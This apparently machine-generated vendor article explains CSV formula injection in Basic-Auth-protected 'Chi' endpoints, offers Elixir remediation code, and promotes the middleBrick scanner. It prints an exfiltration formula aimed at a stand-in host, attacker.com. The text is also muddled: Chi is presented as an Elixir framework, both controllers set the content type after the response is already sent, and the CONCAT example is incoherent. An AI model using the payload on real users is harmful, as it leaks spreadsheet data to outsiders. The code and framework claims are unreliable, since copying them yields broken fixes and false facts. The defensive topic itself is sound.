MEDIUM formula injectionchibasic auth

Formula Injection in Chi with Basic Auth

Formula Injection in Chi with Basic Auth — how this specific combination creates or exposes the vulnerability

Formula Injection occurs when untrusted data is interpreted as a formula by spreadsheet or document processors. In Chi, this risk is amplified when Basic Authentication is used without additional safeguards. Chi endpoints that export or generate spreadsheet-style responses (e.g., CSV or Excel MIME types) may embed user-controlled values directly into cells. If those values begin with characters like =, +, -, or @, applications such as Microsoft Excel or Google Sheets can interpret them as formulas when opened by a recipient.

When combined with Basic Auth, the exposure path often involves authenticated-only endpoints that still leak data into downloadable formats. An attacker who has obtained or guessed a valid username and password can request a report endpoint that returns sensitive records. Because the response is formatted as CSV, a malicious actor can inject a formula payload such as =HYPERLINK("http://attacker.com/"&A1,"Click") into a cell value. When the victim opens the file, the formula executes in the client application, potentially exfiltrating data or triggering further actions. This scenario is especially dangerous when the API lacks output encoding or content-type negotiation for safe representations.

Chi applications that rely on Basic Auth for access control must ensure that downloadable representations do not trust raw data. Even with valid credentials, an unauthenticated scan from middleBrick can detect whether response headers and content create unsafe rendering contexts. One of the 12 parallel security checks focuses on Data Exposure and can surface whether CSV or Excel outputs embed unescaped values. Because middleBrick tests the unauthenticated attack surface, it can identify endpoints that return downloadable files without requiring authentication, revealing places where credentials alone are insufficient to prevent injection.

Real-world attack patterns align with this risk. For example, an endpoint like /api/v1/reports/invoices.csv might include a column labeled description. If a description contains =CONCAT("CHAR(67,79,77)") in a locale that supports formula evaluation, the file becomes executable logic when opened. OWASP API Top 10 categorizes this under Security Misconfiguration and Improper Neutralization of Data in its injection family. PCI-DSS and SOC2 also expect data exports to prevent unintended execution paths. middleBrick maps findings to these frameworks, providing prioritized guidance rather than attempting to fix the logic itself.

An example of a vulnerable Chi route in Elixir that sets a CSV content-type without escaping illustrates the problem:

defmodule ReportController do
  plug :authenticate_basic when action in [:export]

  def export(conn, %{"format" => "csv"}) do
    records = fetch_sensitive_records()
    csv = build_csv(records)
    send_resp(conn, 200, csv)
    |> put_resp_content_type("text/csv")
  end

  defp build_csv(records) do
    CSV.encode!(records, headers: true)
  end
end

If any field in records starts with = or contains formula-like syntax, the generated CSV can trigger formula execution. middleBrick would flag this under Data Exposure and Unsafe Consumption checks, noting that encoding or output transformation is necessary before distribution.

Basic Auth-Specific Remediation in Chi — concrete code fixes

Remediation focuses on neutralizing formula characters and separating identity from executable content. For CSV and Excel exports in Chi, always sanitize values before embedding them in formats that applications interpret as code. Use libraries that escape leading special characters or wrap them in a safe context. For example, prefixing a value with ' (single quote) in CSV tells applications like Excel to treat the cell as plain text. Alternatively, encode values in a reversible format such as Base64 for internal transfer, or switch to a JSON API that avoids file-format interpretation entirely.

Update the Chi controller to apply escaping rather than raw output. The following example shows how to sanitize each field while preserving Basic Auth for access control:

defmodule ReportController do
  plug :authenticate_basic when action in [:export]

  def export(conn, %{"format" => "csv"}) do
    records = fetch_sensitive_records()
    csv = build_safe_csv(records)
    send_resp(conn, 200, csv)
    |> put_resp_content_type("text/csv")
  end

  defp build_safe_csv(records) do
    Enum.map(records, &sanitize_fields/1)
    |> CSV.encode!(headers: true)
  end

  defp sanitize_fields(map) do
    Map.new(map, fn {k, v} ->
      {k, safe_cell_value(v)}
    end)
  end

  defp safe_cell_value(value) when is_binary(value) do
    if String.starts_with?(value, ["=", "+", "-", "@"]) do
      "'" <> value
    else
      value
    end
  end

  defp safe_cell_value(value), do: value
end

This approach ensures that even if data contains formula indicators, they are treated as literal text. The ' prefix is widely supported in spreadsheet software and prevents automatic evaluation. Authentication remains intact because the plug still validates credentials before any processing occurs.

For JSON-based endpoints, ensure that clients do not rely on interpreting numeric or string values as formulas. Content-Type negotiation should favor application/json over CSV when possible, and responses should avoid embedding user data in JavaScript-evaluable contexts. middleBrick’s CLI can be used to verify that no unsafe headers or MIME types are returned:

$ middlebrick scan https://api.example.com/reports/export.csv

Results will highlight Data Exposure and Unsafe Consumption findings, including whether formulas could be triggered. The Pro plan enables continuous monitoring so that future changes to export behavior are caught before they reach production. Developers should also consider encoding non-ASCII and special characters consistently and validating input length to reduce edge-case exploits.

Frequently Asked Questions

Does Basic Auth alone protect exported CSV files from formula injection in Chi?
No. Basic Auth controls access to the endpoint but does not sanitize data formats. If a CSV contains values starting with =, +, -, or @, spreadsheet software may interpret them as formulas. You must escape or encode output regardless of authentication.
Can middleBrick fix formula injection vulnerabilities in Chi?
middleBrick detects and reports these issues. It does not modify code or block requests. Use its findings to apply output sanitization, such as prefixing cells with a single quote or switching to JSON representations.